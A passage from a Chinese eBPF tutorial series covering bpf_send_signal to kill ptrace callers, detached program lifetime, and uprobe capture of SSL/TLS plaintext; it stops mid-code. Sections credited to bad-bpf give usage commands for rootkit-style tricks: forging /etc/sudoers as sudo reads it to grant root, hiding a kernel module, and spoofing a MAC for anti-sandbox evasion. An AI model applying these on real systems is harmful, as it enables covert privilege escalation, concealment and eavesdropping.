<p>通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。</p>
<p>您还可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程用-bpf_send_signal-发送信号终止恶意进程"><a class="header" href="#ebpf-入门实践教程用-bpf_send_signal-发送信号终止恶意进程">eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程</a></h1>
<p>eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术,允许用户在内核空间执行自定义程序,而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。</p>
<p>本文介绍了如何使用 eBPF 的 bpf_send_signal 功能,向指定的进程发送信号进行干预。更多的教程文档,请参考 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a></p>
<h2 id="使用场景"><a class="header" href="#使用场景">使用场景</a></h2>
<p><strong>1. 性能分析:</strong><br />
在现代软件生态系统中,优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序,如 hhvm出现运行缓慢或资源利用率异常高时它可能会对整个系统产生不利影响。因此定位这些性能瓶颈并及时解决是至关重要的。</p>
<p><strong>2. 异常检测与响应:</strong><br />
任何运行在生产环境中的系统都可能面临各种异常情况,从简单的资源泄露到复杂的恶意软件攻击。在这些情况下,系统需要能够迅速、准确地检测到这些异常,并采取适当的应对措施。</p>
<p><strong>3. 动态系统管理:</strong><br />
随着云计算和微服务架构的普及,能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如,根据流量波动自动扩容或缩容,或者在检测到系统过热时降低 CPU 频率。</p>
<h3 id="现有方案的不足"><a class="header" href="#现有方案的不足">现有方案的不足</a></h3>
<p>为了满足上述使用场景的需求,传统的技术方法如下:</p>
<ul>
<li>安装一个 bpf 程序,该程序会持续监视系统,同时对一个 map 进行轮询。</li>
<li>当某个事件触发了 bpf 程序中定义的特定条件时,它会将相关数据写入此 map。</li>
<li>接着,外部分析工具会从该 map 中读取数据,并根据读取到的信息向目标进程发送信号。</li>
</ul>
<p>尽管这种方法在很多场景中都是可行的,但它存在一个主要的缺陷:从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度,从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。</p>
<h3 id="新方案的优势"><a class="header" href="#新方案的优势">新方案的优势</a></h3>
<p>为了克服传统方法的这些限制Linux 内核提供了 <code>bpf_send_signal</code><code>bpf_send_signal_thread</code> 这两个 helper 函数。</p>
<p>这两个函数带来的主要优势包括:</p>
<p><strong>1. 实时响应:</strong><br />
通过直接从内核空间发送信号,避免了用户空间的额外开销,这确保了信号能够在事件发生后立即被发送,大大减少了延迟。</p>
<p><strong>2. 准确性:</strong><br />
得益于减少的延迟,现在我们可以获得更准确的系统状态快照,这对于性能分析和异常检测尤其重要。</p>
<p><strong>3. 灵活性:</strong><br />
这些新的 helper 函数为开发人员提供了更多的灵活性,他们可以根据不同的使用场景和需求来自定义信号的发送逻辑,从而更精确地控制和管理系统行为。</p>
<h2 id="内核态代码分析"><a class="header" href="#内核态代码分析">内核态代码分析</a></h2>
<p>在现代操作系统中一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中<code>ptrace</code> 系统调用是一个强大的工具,它允许一个进程观察和控制另一个进程的执行,并修改其寄存器和内存。这使得它成为了调试和跟踪工具(如 <code>strace</code><code>gdb</code>)的主要机制。然而,恶意的 <code>ptrace</code> 使用也可能导致安全隐患。</p>
<p>这个程序的目标是在内核态监控 <code>ptrace</code> 的调用,当满足特定的条件时,它会发送一个 <code>SIGKILL</code> 信号终止调用进程。此外,为了调试或审计目的,该程序会记录这种干预并将相关信息发送到用户空间。</p>
<h2 id="代码分析"><a class="header" href="#代码分析">代码分析</a></h2>
<h3 id="1-数据结构定义-signalh"><a class="header" href="#1-数据结构定义-signalh">1. 数据结构定义 (<code>signal.h</code>)</a></h3>
<p>signal.h</p>
<pre><code class="language-c">// Simple message structure to get events from eBPF Programs
// in the kernel to user spcae
#define TASK_COMM_LEN 16
struct event {
int pid;
char comm[TASK_COMM_LEN];
bool success;
};
</code></pre>
<p>这部分定义了一个简单的消息结构,用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。</p>
<h3 id="2-ebpf-程序-signalbpfc"><a class="header" href="#2-ebpf-程序-signalbpfc">2. eBPF 程序 (<code>signal.bpf.c</code>)</a></h3>
<p>signal.bpf.c</p>
<pre><code class="language-c">// SPDX-License-Identifier: BSD-3-Clause
#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;common.h&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(&quot;.maps&quot;);
// Optional Target Parent PID
const volatile int target_ppid = 0;
SEC(&quot;tp/syscalls/sys_enter_ptrace&quot;)
int bpf_dos(struct trace_event_raw_sys_enter *ctx)
{
long ret = 0;
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid &gt;&gt; 32;
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// Send signal. 9 == SIGKILL
ret = bpf_send_signal(9);
// Log event
struct event *e;
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (e) {
e-&gt;success = (ret == 0);
e-&gt;pid = pid;
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
bpf_ringbuf_submit(e, 0);
}
return 0;
}
</code></pre>
<ul>
<li>
<p><strong>许可证声明</strong></p>
<p>声明了程序的许可证为 &quot;Dual BSD/GPL&quot;,这是为了满足 Linux 内核对 eBPF 程序的许可要求。</p>
</li>
<li>
<p><strong>Ringbuffer Map</strong></p>
<p>这是一个 ring buffer 类型的 map允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。</p>
</li>
<li>
<p><strong>目标父进程ID</strong></p>
<p><code>target_ppid</code> 是一个可选的父进程ID用于限制哪些进程受到影响。如果它被设置为非零值只有与其匹配的进程才会被目标。</p>
</li>
<li>
<p><strong>主函数 <code>bpf_dos</code></strong></p>
<ul>
<li>
<p><strong>进程检查</strong><br />
程序首先获取当前进程的ID。如果设置了 <code>target_ppid</code>它还会获取当前进程的父进程ID并进行比较。如果两者不匹配则直接返回。</p>
</li>
<li>
<p><strong>发送信号</strong><br />
使用 <code>bpf_send_signal(9)</code> 来发送 <code>SIGKILL</code> 信号。这将终止调用 <code>ptrace</code> 的进程。</p>
</li>
<li>
<p><strong>记录事件</strong><br />
使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。</p>
</li>
</ul>
</li>
</ul>
<p>总结:这个 eBPF 程序提供了一个方法,允许系统管理员或安全团队在内核级别监控和干预 <code>ptrace</code> 调用,提供了一个对抗潜在恶意活动或误操作的额外层次。</p>
<h2 id="编译运行-8"><a class="header" href="#编译运行-8">编译运行</a></h2>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>编译:</p>
<pre><code class="language-bash">./ecc signal.bpf.c signal.h
</code></pre>
<p>使用方式:</p>
<pre><code class="language-console">sudo ./ecli package.json
</code></pre>
<p>这个程序会对任何试图使用 <code>ptrace</code> 系统调用的程序,例如 <code>strace</code>,发出 <code>SIG_KILL</code> 信号。
一旦 eBPF 程序开始运行,你可以通过运行以下命令进行测试:</p>
<pre><code class="language-bash">$ strace /bin/whoami
Killed
</code></pre>
<p>原先的 console 中会输出:</p>
<pre><code class="language-txt">INFO [bpf_loader_lib::skeleton] Running ebpf program...
TIME PID COMM SUCCESS
13:54:45 8857 strace true
</code></pre>
<p>完整的源代码可以参考:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal</a></p>
<h2 id="总结-21"><a class="header" href="#总结-21">总结</a></h2>
<p>通过这个实例,我们深入了解了如何将 eBPF 程序与用户态程序相结合实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制这种技术不仅限于监控还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。</p>
<p>最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 和教程网站 <a href="https://eunomia.dev/zh/tutorials/%E3%80%82">https://eunomia.dev/zh/tutorials/。</a></p>
<h2 id="参考资料-2"><a class="header" href="#参考资料-2">参考资料</a></h2>
<ul>
<li><a href="https://github.com/pathtofile/bad-bpf">https://github.com/pathtofile/bad-bpf</a></li>
<li><a href="https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html">https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="使用-ebpf-添加-sudo-用户"><a class="header" href="#使用-ebpf-添加-sudo-用户">使用 eBPF 添加 sudo 用户</a></h1>
<p>编译:</p>
<pre><code class="language-bash">make
</code></pre>
<p>使用方式:</p>
<pre><code class="language-sh">sudo ./sudoadd --username lowpriv-user
</code></pre>
<p>这个程序允许一个通常权限较低的用户使用 <code>sudo</code> 成为 root。</p>
<p>它通过拦截 <code>sudo</code> 读取 <code>/etc/sudoers</code> 文件,并将第一行覆盖为 <code>&lt;username&gt; ALL=(ALL:ALL) NOPASSWD:ALL #</code> 的方式工作。这欺骗了 sudo使其认为用户被允许成为 root。其他程序如 <code>cat</code><code>sudoedit</code> 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 <code>#</code> 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。</p>
<h2 id="参考资料-3"><a class="header" href="#参考资料-3">参考资料</a></h2>
<ul>
<li><a href="https://github.com/pathtofile/bad-bpf">https://github.com/pathtofile/bad-bpf</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="使用-ebpf-替换任意程序读取或写入的文本"><a class="header" href="#使用-ebpf-替换任意程序读取或写入的文本">使用 eBPF 替换任意程序读取或写入的文本</a></h1>
<p>编译:</p>
<pre><code class="language-bash">make
</code></pre>
<p>使用方式:</p>
<pre><code class="language-sh">sudo ./replace --filename /path/to/file --input foo --replace bar
</code></pre>
<p>这个程序将文件中所有与 <code>input</code> 匹配的文本替换为 <code>replace</code> 文本。
这有很多用途,例如:</p>
<p>隐藏内核模块 <code>joydev</code>,避免被如 <code>lsmod</code> 这样的工具发现:</p>
<pre><code class="language-bash">./replace -f /proc/modules -i 'joydev' -r 'cryptd'
</code></pre>
<p>伪造 <code>eth0</code> 接口的 MAC 地址:</p>
<pre><code class="language-bash">./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'
</code></pre>
<p>恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。</p>
<p><strong>注意:</strong> <code>input</code><code>replace</code> 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 <code>$'\n'</code>,例如 <code>--replace $'text\n'</code></p>
<h2 id="参考资料-4"><a class="header" href="#参考资料-4">参考资料</a></h2>
<ul>
<li><a href="https://github.com/pathtofile/bad-bpf">https://github.com/pathtofile/bad-bpf</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="在用户态应用退出后运行-ebpf-程序ebpf-程序的生命周期"><a class="header" href="#在用户态应用退出后运行-ebpf-程序ebpf-程序的生命周期">在用户态应用退出后运行 eBPF 程序eBPF 程序的生命周期</a></h1>
<p>通过使用 detach 的方式运行 eBPF 程序,用户空间加载器可以退出,而不会停止 eBPF 程序。</p>
<h2 id="ebpf-程序的生命周期"><a class="header" href="#ebpf-程序的生命周期">eBPF 程序的生命周期</a></h2>
<p>首先,我们需要了解一些关键的概念,如 BPF 对象(包括程序,地图和调试信息),文件描述符 (FD)引用计数refcnt等。在 eBPF 系统中,用户空间通过文件描述符访问 BPF 对象而每个对象都有一个引用计数。当一个对象被创建时其引用计数初始为1。如果该对象不再被使用即没有其他程序或文件描述符引用它它的引用计数将降至0并在 RCU 宽限期后被内存清理。</p>
<p>接下来,我们需要了解 eBPF 程序的生命周期。首先,当你创建一个 BPF 程序,并将它连接到某个“钩子”(例如网络接口,系统调用等),它的引用计数会增加。然后,即使原始创建和加载该程序的用户空间进程退出,只要 BPF 程序的引用计数大于 0它就会保持活动状态。然而这个过程中有一个重要的点是不是所有的钩子都是相等的。有些钩子是全局的比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态,直到这些对象自身消失。而有些钩子是局部的,只在拥有它们的进程存活期间运行。</p>
<p>对于 BPF 对象程序或映射的生命周期管理另一个关键的操作是“分离”detach。这个操作会阻止已附加程序的任何未来执行。然后对于需要替换 BPF 程序的情况你可以使用替换replace操作。这是一个复杂的过程因为你需要确保在替换过程中不会丢失正在处理的事件而且新旧程序可能在不同的 CPU 上同时运行。</p>
<p>最后,除了通过文件描述符和引用计数来管理 BPF 对象的生命周期,还有一个叫做 BPFFS 的方法也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”pin一个 BPF 程序或映射,这将增加对象的引用计数,使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用,该 BPF 对象也将保持活动状态。</p>
<p>所以,当我们谈论在后台运行 eBPF 程序时,我们需要清楚这个过程的含义。在某些情况下,即使用户空间进程已经退出,我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期</p>
<h2 id="运行"><a class="header" href="#运行">运行</a></h2>
<p>这里还是采用了上一个的字符串替换的应用,来体现对应可能的安全风险。通过使用 <code>--detach</code> 运行程序,用户空间加载器可以退出,而不会停止 eBPF 程序。</p>
<p>编译:</p>
<pre><code class="language-bash">make
</code></pre>
<p>在运行前,请首先确保 bpf 文件系统已经被挂载:</p>
<pre><code class="language-bash">sudo mount bpffs -t bpf /sys/fs/bpf
mkdir /sys/fs/bpf/textreplace
</code></pre>
<p>然后,你可以分离运行 text-replace2</p>
<pre><code class="language-bash">./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d
</code></pre>
<p>这将在 <code>/sys/fs/bpf/textreplace</code> 下创建一些 eBPF 链接文件。
一旦加载器成功运行,你可以通过运行以下命令检查日志:</p>
<pre><code class="language-bash">sudo cat /sys/kernel/debug/tracing/trace_pipe
# 确认链接文件存在
sudo ls -l /sys/fs/bpf/textreplace
</code></pre>
<p>然后,要停止,只需删除链接文件即可:</p>
<pre><code class="language-bash">sudo rm -r /sys/fs/bpf/textreplace
</code></pre>
<h2 id="参考资料-5"><a class="header" href="#参考资料-5">参考资料</a></h2>
<ul>
<li><a href="https://github.com/pathtofile/bad-bpf">https://github.com/pathtofile/bad-bpf</a></li>
<li><a href="https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html">https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html</a></li>
</ul>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-实践教程使用-uprobe-捕获多种库的-ssltls-明文数据-1"><a class="header" href="#ebpf-实践教程使用-uprobe-捕获多种库的-ssltls-明文数据-1">eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据</a></h1>
<p>随着TLS在现代网络环境中的广泛应用跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。</p>
<p>但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。</p>
<p>在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。</p>
<h2 id="背景知识-1"><a class="header" href="#背景知识-1">背景知识</a></h2>
<p>在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。</p>
<h3 id="ssl-和-tls-1"><a class="header" href="#ssl-和-tls-1">SSL 和 TLS</a></h3>
<p>SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发为网络上的两台机器之间提供数据加密传输。然而由于某些已知的安全问题SSL的使用已被其后继者TLS所替代。</p>
<p>TLS (Transport Layer Security): 是 SSL 的继任者旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。</p>
<h3 id="tls-的工作原理-1"><a class="header" href="#tls-的工作原理-1">TLS 的工作原理</a></h3>
<p>Transport Layer Security (TLS) 是一个密码学协议旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学例如证书的使用为两个或更多通信的计算机应用程序提供安全性包括隐私机密性、完整性和真实性。TLS 由两个子层组成TLS 记录协议和TLS 握手协议。</p>
<h4 id="握手过程-1"><a class="header" href="#握手过程-1">握手过程</a></h4>
<p>当客户端与启用了TLS的服务器连接并请求建立安全连接时握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数完整流程如下</p>
<ol>
<li><strong>初始握手</strong>客户端连接到启用了TLS的服务器请求安全连接并提供它支持的密码套件列表加密算法和哈希函数</li>
<li><strong>选择密码套件</strong>:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。</li>
<li><strong>提供数字证书</strong>:通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。</li>
<li><strong>验证证书</strong>:客户端在继续之前确认证书的有效性。</li>
<li><strong>生成会话密钥</strong>:为了生成用于安全连接的会话密钥,客户端有以下两种方法:
<ul>
<li>使用服务器的公钥加密一个随机数PreMasterSecret并将结果发送到服务器只有服务器才能使用其私钥解密双方然后使用该随机数生成一个独特的会话密钥用于会话期间的数据加密和解密。</li>
<li>使用 Diffie-Hellman 密钥交换或其变体椭圆曲线DH来安全地生成一个随机且独特的会话密钥用于加密和解密该密钥具有前向保密的额外属性即使在未来公开了服务器的私钥也不能用它来解密当前的会话即使第三方拦截并记录了会话。</li>
</ul>
</li>
</ol>
<p>一旦上述步骤成功完成握手过程便结束加密的连接开始。此连接使用会话密钥进行加密和解密直到连接关闭。如果上述任何步骤失败则TLS握手失败连接将不会建立。</p>
<h4 id="osi模型中的tls-1"><a class="header" href="#osi模型中的tls-1">OSI模型中的TLS</a></h4>
<p>TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议例如TCP之上运行”这意味着它位于传输层之上。它为更高的层提供加密这通常是表示层的功能。但是使用TLS 的应用程序通常视其为传输层即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。</p>
<h3 id="ebpf-和-uprobe-1"><a class="header" href="#ebpf-和-uprobe-1">eBPF 和 uprobe</a></h3>
<p>eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。</p>
<p>uprobes 是eBPF的一个重要特性允许我们在用户空间应用程序中动态地插入探测点特别适用于跟踪SSL/TLS库中的函数调用。</p>
<h3 id="用户态库-1"><a class="header" href="#用户态库-1">用户态库</a></h3>
<p>SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库</p>
<ul>
<li>OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。</li>
<li>BoringSSL: 是Google维护的OpenSSL的一个分支重点是简化和优化适用于Google的需求。</li>
<li>GnuTLS: 是GNU项目的一部分提供了SSLTLS和DTLS协议的实现。与OpenSSL和BoringSSL相比GnuTLS在API设计、模块结构和许可证上有所不同。</li>
</ul>
<h2 id="openssl-api-分析-1"><a class="header" href="#openssl-api-分析-1">OpenSSL API 分析</a></h2>
<p>OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现并广泛用于各种应用程序中以确保数据传输的安全性。其中SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。</p>
<h3 id="1-ssl_read-函数-1"><a class="header" href="#1-ssl_read-函数-1">1. SSL_read 函数</a></h3>
<p>当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 <code>SSL_read</code><code>SSL_read_ex</code> 函数。函数原型如下:</p>
<pre><code class="language-c">int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);
int SSL_read(SSL *ssl, void *buf, int num);
</code></pre>
<p><code>SSL_read</code><code>SSL_read_ex</code> 试图从指定的 <code>ssl</code> 中读取最多 <code>num</code> 字节的数据到缓冲区 <code>buf</code> 中。成功时,<code>SSL_read_ex</code> 会在 <code>*readbytes</code> 中存储实际读取到的字节数。</p>
<h3 id="2-ssl_write-函数-1"><a class="header" href="#2-ssl_write-函数-1">2. SSL_write 函数</a></h3>
<p>当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 <code>SSL_write</code><code>SSL_write_ex</code> 函数。</p>
<p>函数原型:</p>
<pre><code class="language-c">int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);
int SSL_write(SSL *ssl, const void *buf, int num);
</code></pre>
<p><code>SSL_write</code><code>SSL_write_ex</code> 会从缓冲区 <code>buf</code> 中将最多 <code>num</code> 字节的数据写入到指定的 <code>ssl</code> 连接中。成功时,<code>SSL_write_ex</code> 会在 <code>*written</code> 中存储实际写入的字节数。</p>
<h2 id="ebpf-内核态代码编写-1"><a class="header" href="#ebpf-内核态代码编写-1">eBPF 内核态代码编写</a></h2>
<p>在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。</p>
<h3 id="数据结构-1"><a class="header" href="#数据结构-1">数据结构</a></h3>
<p>首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据:</p>
<pre><code class="language-c">#define MAX_BUF_SIZE 8192
#define TASK_COMM_LEN 16
struct probe_SSL_data_t {
__u64 timestamp_ns; // 时间戳(纳秒)
__u64 delta_ns; // 函数执行时间
__u32 pid; // 进程 ID
__u32 tid; // 线程 ID
__u32 uid; // 用户 ID
__u32 len; // 读/写数据的长度
int buf_filled; // 缓冲区是否填充完整
int rw; // 读或写0为读1为写
char comm[TASK_COMM_LEN]; // 进程名
__u8 buf[MAX_BUF_SIZE]; // 数据缓冲区
int is_handshake; // 是否是握手数据
};
</code></pre>
<h3 id="hook-函数-1"><a class="header" href="#hook-函数-1">Hook 函数</a></h3>
<p>我们的目标是 hook 到 <code>SSL_read</code><code>SSL_write</code> 函数。我们定义了一个函数 <code>SSL_exit</code> 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID确定是否需要追踪并收集数据。</p>
<pre><code class="language-c">static int SSL_exit(struct pt_regs *ctx, int rw) {
int ret = 0;
u32 zero = 0;
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid &gt;&gt; 32;
u32 tid = (u32)pid_tgid;
u32 uid = bpf_get_current_uid_gid();
u64 ts = bpf_ktime_get_ns();
if (!trace_allowed(uid, pid)) {
return 0;
}
/* store arg info for later lookup */
u64 *bufp = bpf_map_lookup_elem(&amp;bufs, &amp;tid);
if (bufp == 0)
return 0;
u64 *tsp = bpf_map_lookup_elem(&amp;start_ns, &amp;tid);
if (!tsp)
return 0;
u64 delta_ns = ts - *tsp;
int len = PT_REGS_RC(ctx);
if (len &lt;= 0) // no data
return 0;
struct probe_SSL_data_t *data = bpf_map_lookup_elem(&amp;ssl_data, &amp;zero);
if (!data)
return 0;
data-&gt;timestamp_ns = ts;
data-&gt;delta_ns = delta_ns;
data-&gt;pid = pid;
data-&gt;tid = tid;
data-&gt;uid = uid;
data-&gt;len = (u32)len;
data-&gt;buf_filled = 0;
data-&gt;rw = rw;
data-&gt;is_handshake = false;
u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len);
bpf_get_current_comm(&amp;data-&gt;comm, sizeof(data-&gt;comm));
if (bufp != 0)
ret = bpf_probe_read_user(&amp;data-&gt;buf, buf_copy_size, (char *)*bufp);
bpf_map_delete_elem(&amp;bufs, &amp;tid);
bpf_map_delete_elem(&amp;start_ns, &amp;tid);
if (!ret)
data-&gt;buf_filled = 1;
else
buf_copy_size = 0;
bpf_perf_event_output(ctx, &amp;perf_SSL_events, BPF_F_CURRENT_CPU, data,
EVENT_SIZE(buf_copy_size));
return 0;
}
</code></pre>
<p>这里的 <code>rw</code> 参数标识是读还是写。0 代表读1 代表写。</p>
<h4 id="数据收集流程-1"><a class="header" href="#数据收集流程-1">数据收集流程</a></h4>
<ol>
<li>获取当前进程和线程的 ID以及当前用户的 ID。</li>
<li>通过 <code>trace_allowed</code> 判断是否允许追踪该进程。</li>
<li>获取起始时间,以计算函数的执行时间。</li>
<li>尝试从 <code>bufs</code><code>start_ns</code> maps 中查找相关的数据。</li>
<li>如果成功读取了数据,则创建或查找 <code>probe_SSL_data_t</code> 结构来填充数据。</li>
<li>将数据从用户空间复制到缓冲区,并确保不超过预定的大小。</li>
<li>最后,将数据发送到用户空间。</li>
</ol>
<p>注意:我们使用了两个用户返回探针 <code>uretprobe</code> 来分别 hook <code>SSL_read</code><code>SSL_write</code> 的返回:</p>
<pre><code class="language-c">SEC(&quot;uretprobe/SSL_read&quot;)
int BPF_URETPROBE(probe_SSL_read_exit) {
return (SSL_exit(ctx, 0)); // 0 表示读操作
}
SEC(&quot;uretprobe/SSL_write&quot;)
int BPF_URETPROBE(probe_SSL_write_exit) {
return (SSL_exit(ctx, 1)); // 1 表示写操作
}
</code></pre>
<h3 id="hook到握手过程-1"><a class="header" href="#hook到握手过程-1">Hook到握手过程</a></h3>
<p>在 SSL/TLS 中握手handshake是一个特殊的过程用于在客户端和服务器之间建立安全的连接。为了分析此过程我们 hook 到了 <code>do_handshake</code> 函数,以跟踪握手的开始和结束。</p>
<h4 id="进入握手-1"><a class="header" href="#进入握手-1">进入握手</a></h4>
<p>我们使用 <code>uprobe</code><code>do_handshake</code> 设置一个 probe</p>
<pre><code class="language-c">
SEC(&quot;uprobe/do_handshake&quot;)
int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) {
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid &gt;&gt; 32;
u32 tid = (u32)pid_tgid;
u64 ts = bpf_ktime_get_ns();
u32 uid = bpf_get_current_uid_gid();
if (!trace_allowed(uid, pid)) {
return 0;
}
/* store arg info for later lookup */
bpf_map_update_elem(&amp;start_ns, &amp;tid, &amp;ts, BPF_ANY);
return 0;
}
</code></pre>
<p>这段代码的主要功能如下:</p>
<ol>
<li>获取当前的 <code>pid</code>, <code>tid</code>, <code>ts</code><code>uid</code></li>
<li>使用 <code>trace_allowed</code> 检查进程是否被允许追踪。</li>
<li>将当前时间戳存储在 <code>start_ns</code> 映射中,用于稍后计算握手过程的持续时间。</li>
</ol>
<h4 id="退出握手-1"><a class="header" href="#退出握手-1">退出握手</a></h4>
<p>同样,我们为 <code>do_handshake</code> 的返回设置了一个 <code>uretprobe</code></p>
<pre><code class="language-c">
SEC(&quot;uretprobe/do_handshake&quot;)
int BPF_URETPROBE(probe_SSL_do_handshake_exit) {
u32 zero = 0;
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid &gt;&gt; 32;
u32 tid = (u32)pid_tgid;
u32 uid = bpf_get_current_uid_gid();
u64 ts = bpf_ktime_get_ns();
int ret = 0;
/* use kernel terminology here for tgid/pid: */
u32 tgid = pid_tgid &gt;&gt; 32;
/* store arg info for later lookup */
if (!trace_allowed(tgid, pid)) {
return 0;
}
u64 *tsp = bpf_map_lookup_elem(&amp;start_ns, &amp;tid);
if (tsp == 0)
return 0;
ret = PT_REGS_RC(ctx);
if (ret &lt;= 0) // handshake failed
